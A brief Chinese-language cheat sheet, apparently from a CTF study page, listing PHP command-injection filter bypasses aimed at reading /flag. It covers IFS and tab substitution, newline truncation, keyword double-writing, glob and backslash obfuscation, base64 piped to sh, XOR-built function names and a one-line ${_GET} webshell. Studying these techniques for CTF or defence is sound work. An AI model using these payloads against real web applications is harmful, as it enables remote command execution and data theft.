PHP check 的一些繞過技術


繞過空格

$_GET[str]=str_replace(" ","",$_GET[str]);
  • ${IFS} 但不能寫作$IFS

  • $IFS$9

  • %09

繞過echo

system("echo \"$_GET[str]\";");
  • 執行命令加上反引號`` cat /flag\

  • "雙引號閉合+|分割(或 &后台 &&判讀 均要轉碼)

繞過符號

$_GET[str]=str_replace(array( "`", "$", "(", ")", ";","&","|","<"),"",$_GET[str]);
  • %0A 截斷 111"%0Acat %2fflag "

繞過關鍵字替換

$str=str_replace("flag","",$_GET[str]);
  • 雙寫繞過 flflagag

繞過正則

preg_match("/flag/i",$str)
  • 反斜杠換行 ca\t fla\g

  • 模糊匹配 cat /fl* cat /fla?

  • base64 echo Y2F0IC9mbGFn|base64 -d|sh(Y2F0IC9mbGFn = cat /flag ,不能用)

  • 變量拼接 $a=%2ffl;$b=ag;cat $a$b;

繞過可見字符

if(preg_match("/[A-Za-z0-9_]+/",$code))
    {die("NO.");}
@eval($code);
  • 構造getFlag的異或字符串code=$_="%40%3e%2b%3b%2c%3c%3a"^"%27%5b%5f%7d%40%5d%5d";$_();

  • 注入一句話${_GET}[_](${_GET}[__])

  • 如果下划線_被禁用,使用大於等於%7F的字符


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM